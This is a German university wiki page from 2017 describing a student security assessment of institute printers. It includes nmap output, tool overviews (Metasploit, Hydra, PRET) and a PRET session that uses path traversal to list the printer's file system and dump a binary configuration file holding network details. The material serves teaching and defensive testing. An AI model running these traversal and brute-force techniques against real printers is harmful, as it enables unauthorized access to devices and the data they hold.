Hacking Printers

From
Revision as of 10:41, 11 October 2017 by Weberple (talk | contribs)
Jump to navigation Jump to search

Printer Hacking How-To

'$> command'

Motivation und Szenario

Drucker sind weit verbreitete Geräte und stellen auf den ersten Blick kein lohnendes Angriffsziel dar. Das führt dazu, dass Updates teils nicht konsequent durchgeführt werden. So fand <ref> Jens Müller. [Exploting Network Printers] Master's Thesis. 2016. </ref> allein in Deutschland fast 2000 über das Internet erreichbare Drucker und in vielen getesteten Modellen gravierende Sicherheitslücken. Entgegen ihrer augenscheinlichen Harmlosigkeit läuft auf den von uns getesteten Druckern ein vollwertiges Betriebssystem und lassen sich daher von einem erfolgreichen Angreifer zu nützlichen Bots umfunktionieren. Außerdem enthalten Druckjobs potentiell vertrauliche Daten, die für einen Angreifer wertvoll sein könnten.

Dies motivierte uns dazu am Informatikinstitut eingesetzte Drucker auf Schwachstellen zu überprüfen und zu versuchen in das System des Druckers einzudringen. Als Leitfrage beschäftigte uns, ob dies einem Angreifer möglich ist, der keine Programmierkenntnisse besitzt und somit nicht in der Lage ist selbstständig Exploits zu entwickeln.

Wir konzentrierten uns auf drei verschiedene Geräte: einen (1) Canon ImageRunner 3225, einen (2) HP LaserJet 4250n und einen (3) HP LaserJet CD3505dn. Zur Durchführung unserer Angriffe beschränkten wir uns auf vorgefertigte Penetrationtesting Tools wie Hydra, MetaSploit oder Nessus.

Die von uns getesten Angriffe waren auf zwei der drei getesteten Drucker erfolgreich, was es uns erlaubte das Administratorpasswort zu erlangen und somit vollen Zugriff auf das Gerät zu erhalten.

http://hacking-printers.net/wiki/index.php/Port_9100_printing


Informationsbeschaffung

"Wissen ist Macht" - Diese verbreitete Weisheit gilt auch beim Eindringen in fremde Systeme. Glücklicherweise gibt es diverse Tools, die das ausspähen bzw. die Informationsbeschaffung erleichtern können.

  • NMAP erlaubt das Scannen von IP-Adressbereichen auf offene Ports sowie die darauf angebotenen Dienste.

Beispiel:

 $> nmap -A 192.168.188.22
 Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-11 11:33 CEST
 Nmap scan report for 192.168.188.22
 Host is up (0.00093s latency).
 Not shown: 991 closed ports
 PORT      STATE SERVICE    VERSION
 21/tcp    open  ftp        HP JetDirect ftpd
 23/tcp    open  telnet     HP JetDirect printer telnetd
 80/tcp    open  http       HP-ChaiSOE 1.0 (HP LaserJet http config)
 | http-title: hp LaserJet 4250
 |_Requested resource was /hp/device/this.LCDispatcher
 280/tcp   open  http       HP-ChaiSOE 1.0 (HP LaserJet http config)
 | http-title: hp LaserJet 4250
 |_Requested resource was /hp/device/this.LCDispatcher
 443/tcp   open  ssl/https?
 |_ssl-date: 2017-10-11T11:03:52+00:00; +1h28m45s from scanner time.
 515/tcp   open  printer
 7627/tcp  open  http       HP-ChaiSOE 1.0 (HP LaserJet http config)
 |_http-server-header: HP-ChaiSOE/1.0
 9100/tcp  open  jetdirect?
 14000/tcp open  tcpwrapped
 MAC Address: 00:12:79:7E:EB:AE (Hewlett Packard)

  • Nessus ist ein proprietäres Tool, dass Ziele auf bekannte Schwachstellen abklopft. Diese sind in öffentlich zugänglichen Datenbanken hinterlegt, wie etwa CVE.
  • OpenVAS ist eine Open Source Alternative zu Nessus.
  • Das Lesen von Dokumentation der Zielgeräte kann auch reichhaltige Informationen zu sicherheitskritischen Aspekten liefern, beispielsweise erlaubte Zeichen und Länge von Passwörtern oder Sicherheitslücken, die in Patchnotes Erwähnung finden.



Schwachstellen ausnutzen

Metasploit

Metasploit ist ein Framework, das eine Liste von bekannte Schwachstellen mitbringt, und im Gegensatz zu den bereits genannten Vulenrability Scannern auch mit konfigurierbarer Payload ausnutzen kann.

Druckersprachen

1. PCL Die Printer Command Language ist eine Befehlssprache für Drucker. Die Sprache wurde mit dem Ziel entwickelt, alle Druckertypen über eine gemeinsame Standardsprache ansteuern zu können. PCL basiert auf Escape-Sequenzen und ist daher deutlich weniger komplex als PostScipt. 2. PJL Die Printer Job Language ist eine Sammlung von Kommandos, mit denen Drucker kontrolliert werden können. PJL bietet neben einer kombletten Jobsteuerung auch umfangreiche Statuskontrollen an. Zum Beispiel kann der aktuelle Status einer Anfrage abgefragt werden 3. PS


Tools

  • Hydra ist ein Programm zum automatisierten massenhaften ausprobieren von Nutzerkennung-Passwort-Kombinationen auf Anmeldemasken. Dieses Vorgehen nennt man auch einen brute-force-Angriff. Hydra erlaubt die Einstellung verschiedener Passwort-Generierungs-Muster und unterstützt mehrere Login-Protokolle, beispielsweise http-post oder ftp Zur Konfiguration steht sowohl ein CLI als auch ein zusätzlich installierbares GUI zur Verfügung. Diese herangehensweise ist allerdings nur praktikabel, wenn der Vorgang parallelisierbar ist. Dies war im Kontext des Einbrechens in einen Drucker nicht möglich, weshalb dieser Angriff trotz bekannter Einschänkungen der Passwortkomplexität in unserem Fall nicht praktikabel war.
  • Metasploit erlaubt es bekannte Schwachstellen automatisiert auszunutzen. Zu einer bekannten Vulnerability wird ein Modul implementiert, das einen konfigurierbaren Payload per Kommandozeilenbefehl

auf dem Ziel platziert.

Beispiel:


  • PRET Das Printer Exploitation Toolkit ist im Rahmen einer Masterarbeit an der Ruhr Universität in Bochum entstanden. Dieses Programm baut eine Verbindung zu einem via Netzwerk oder USB angeschlossenen Drucker auf und nutzt eine der vorgestellten Druckersprachen zur Absetzung von Befehlen. Entsprechend der unterschiedlichen Mächtigkeit dieser Sprachen fällt auch die Menge der unterstützten Befehle unterschiedlich groß aus.

Beispiel: $> pret <printer ip> ps

   192.168.188.22:/> ?


 Available commands (type help <topic>):
 =======================================
 append   date     discover  get    loop       put       set        version
 capture  debug    dump      hang   ls         pwd       shell    
 cat      delete   edit      help   mirror     rename    site     
 cd       destroy  exit      hold   mkdir      replace   timeout  
 chvol    devices  find      id     open       reset     touch    
 close    df       format    known  overlay    resource  traversal
 config   dicts    free      load   pagecount  restart   unlock   
 cross    disable  fuzz      lock   print      search    uptime   
 
 
 192.168.188.22:/> ls ../../..
 -      834   Jul  9  2000 (created Jul  9  2000)  .profile
 d        -   Jan  1  1970 (created Jan  1  1970)  bin
 d        -   Jan  1  1970 (created Jan  1  1970)  dev
 d        -   Jan  1  1970 (created Jan  1  1970)  etc
 d        -   Jan  1  1970 (created Jan  1  1970)  hp
 d        -   Jan  1  1970 (created Jan  1  1970)  hpmnt
 -     1276   Dec 16  2003 (created Oct 11 12:57)  init
 d        -   Jan  1  1970 (created Jan  1  1970)  lib
 d        -   Jan  1  1970 (created Jan  1  1970)  tmp

 192.168.188.22:/> get ../../../dev/rdsk_jdi_cfg0
 Size mismatch (should: 0, is: 86016).


   $> cat rdsk_jdi_cfg0
 SFS1.0^@^@@^F^B^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@SFFSFILE^M^@^C^@<D6>[^@^@^@^@^@^@dm^@^P<D6>[^B^@3<89>^A^D^@^@^@^@^@^A^@1<89>^A^D^@^C^@^@^@%^@^K<98>^A^Q^@hp LaserJet 4250^@@^@^K<88>^A^D^@^@^@^@^@a^@^K<88>^A^D^@^@^@^@^@^M^@  <88>^A^D^@^^^@^@<AA>^L^@^L<91>
 ^A^O^@^C^@^A^@^AӞGX^@^Ry~<EB><AE>^M^@^L<90>^A^F^@^@^Ry~<EB><AE>^\^@       <88>^A^D^@^O^@^@^@^A^@0<88>^A^D^@<^@^@^@^D^@0<98>^A^_^@http://www.hp.com/go/jetdirect^@^E^@0<98>^A^]^@http://www.hp.com/go/support^@^B^@0<98>^A^A^@^@^C^@0<98>^A^A^@^@^F^@0<88>^A^D^@^A^@^@^@^K^@0<88>^A^D^@^@^@^@^@^L^@0<88>^A^D^@^A^@^@^@^O^@0<88>^A^D^@^B^@^@^@^P^@0<88>^A^D^@^@^@^@^@^Q^@0<88>^A^D^@P^@^@^@^R^@0<98>^A^A^@^@^S^@0<98>^A^A
 ^@^@^T^@0<98>^A^A^@^@^U^@0<98>^A^A^@^@^M^@0<88>^A^D^@^B^@^@^@^H^@C<88>^A^D^@^@^@^@^@^@^@^L<90>^A^F^@<FF><FF><FF><FF><FF><FF>^A
 ^L<88>^A^D^@^A^@^@^@^B
 ^L<88>^A^D^@^@^@^@^@^C
 ^L<88>^A^D^@^@^@^@^@^E
 ^L<88>^A^D^@^A^@^@^@!^@^B<98>^A^B^@*^@"^@^B<88>^A^D^@^A^@^@^@#^@^B<88>^A^D^@^D^@^@^@$^@^B<88>^A^D^@^@<FF>^@^@%^@^B<98>^A^Q^@hp LaserJet 4250^@&^@^B<88>^A^D^@^@^@^@^@^^ ^A<88>^A^D^@^@^@^@^@^R^P^A<88>^A^D^@^@^@^@^@^F^P^A<88>^A^D^@^F^@^@^@    ^P^A<88>^A^D^@^@^@^@^@^M^P^A<88>^A^D^@^@^@^@^@^N^P^A<88>^A^D^@^@^@^@^@^T^P^A<88>^A^D^@<80>#^Q^@^Y^P^A<88>^A^D^@<C0><91>^H^@^Z^P^A<88>^A^D^@^P<FF>^N^@! ^A<88>^A^D^@^E^@
 ^@^@" ^A<88>^A^D^@^E^@^@^@'^P^A<88>^A^D^@^C^@^@^@+^P^A<88>^A^D^@^N^A^@^@,^P^A<88>^A^D^@^B^@^@^@.^P^A<88>^A^D^@^@^@^@^@/^P^A<88>^A^D^@^@^@^@^@1^P^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@2^P^A<88>^B^D^@^A^@^@^@^D^@
 ^A^@^@^@4^P^A<88>^A^D^@^@^@^@^@3^P^A<88>^A^D^@<84>^C^@^@6^P^A<88>^A^D^@^@^@^@^@?^P^A<90>^A^D^@^@^@^@^@^D ^A<88>^A^D^@
 ^@^@^@^E ^A<88>^A^D^@^G^@^@^@^X ^A<88>^A^D^@^B^@^@^@^D@^A<88>^B^D^@^\^A^P^G^D^@^@^P^@^@^E@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^H@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^K@^A<88>^B^D^@^@^@^@^@^D^@^D^@^@^@
 @^A<88>^B^D^@<80>^@^@P^D^@@^@^@^@       @^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@^L@^A<88>^B^D^@^\^A^P^G^D^@^@^P^@^@^M@^A<88>^B^D^@^@^@^@^@^D^@^@^@^@^@  ^A<88>^A^D^@^@^@^@^@7^P^A<88>^A^D^@^A^@^@^@^E<80>^A<88>^A^D^@^@^@^@^@&^P^A<88>^A^D^@^E^@^@^@-^P^A<88>^A^D^@^D^@^@^@^T^@^A<A0>^A^D^@<C0><A8><BC>^A^A^P^A<A0>^A^D^@<C0><A8><BC>^V^B^P^A<A0>^A^D^@<FF><FF><FF>^@^C^P^A<A0>^A^D^@<C0><A8><BC>^A^D^P^A<A0>^A^D^@<C0><A8><BC>^A^E^P^A<A0>^A^D^@^@^@^@^@^P^P^A<A0>^A^D^@^@^@^@^@^V^P^A<A0>^A^D^@^@^@^@^@^W^P^A<A0>^A^D^@^@^@^@^@^X^P^A<A0>^A^D^@<C0><A8><BC>^A9^P^A<A0>^A^D^@^@^@^@^@^Z ^A<A0>^A^D^@^@^@^@^@^G^P^A<98>^A      ^@LPR-WOLF^@^H^P^A<98>^A
 ^@fritz.box^@^O^P^A<98>^A^A^@^@ ^P^A<98>^A      ^@Weimar70^@!^P^A<98>^A^A^@^@5^P^A<98>^A^A^@^@8^P^A<98>^A^E^@AUTO^@
 <80>^A<98>^A^A^@^@^K<80>^A<A8>^A^@^@^Q^P^A<88>^A^D^@^@^@^@^@^S^P^A<88>^A^D^@^@^@^@^@^\^P^A<88>^A^D^@^@^@^@^@^]^P^A<88>^A^D^@^A^@^@^@^^^P^A<88>^A^D^@^@^@^@^@"^P^A<88>^A^D^@^@^@^@^@^A ^A<88>^A^D^@^A^@^@^@^C ^A<88>^A^D^@^A^@^@^@^F ^A<88>^A^D^@^A^@^@^@^G ^A<88>^A^D^@^A^@^@^@^H ^A<88>^A^D^@^A^@^@^@^N ^A<88>^A^D^@^A^@^@^@




Literatur- und Quellenverzeichnis

<references/>

Weiterführende Literatur

  • Halvar Flake. Understanding the fundamentals of attacks: What is happening when someone writes an exploit? (Slides, November 2016) - Eine detaillierte Einführung am Beispiel eines kleinen key-value-Stores, mit Fokus auf die Definition von Exploitbarkeit, über die ursprünglichen Ideen von LANGSEC hinausgehend.
  • langsec.org - Sammlung von Essays, Papers und Talks
  • alchemistowl.org/pocorgtfo/ - Alle Ausgaben von PoC||GTFO - Fast alle sind Polyglots, zusätzliche Informationen sind als ZIP-Archiv eingebettet. (Oft haben die PDFs aber noch mehr Interpretationen, sind z. B. bootbar, ein Dateisystem, als Android-Paket installierbar, oder sogar gleichzeitig PDF, ZIP, Audio, und Bild.)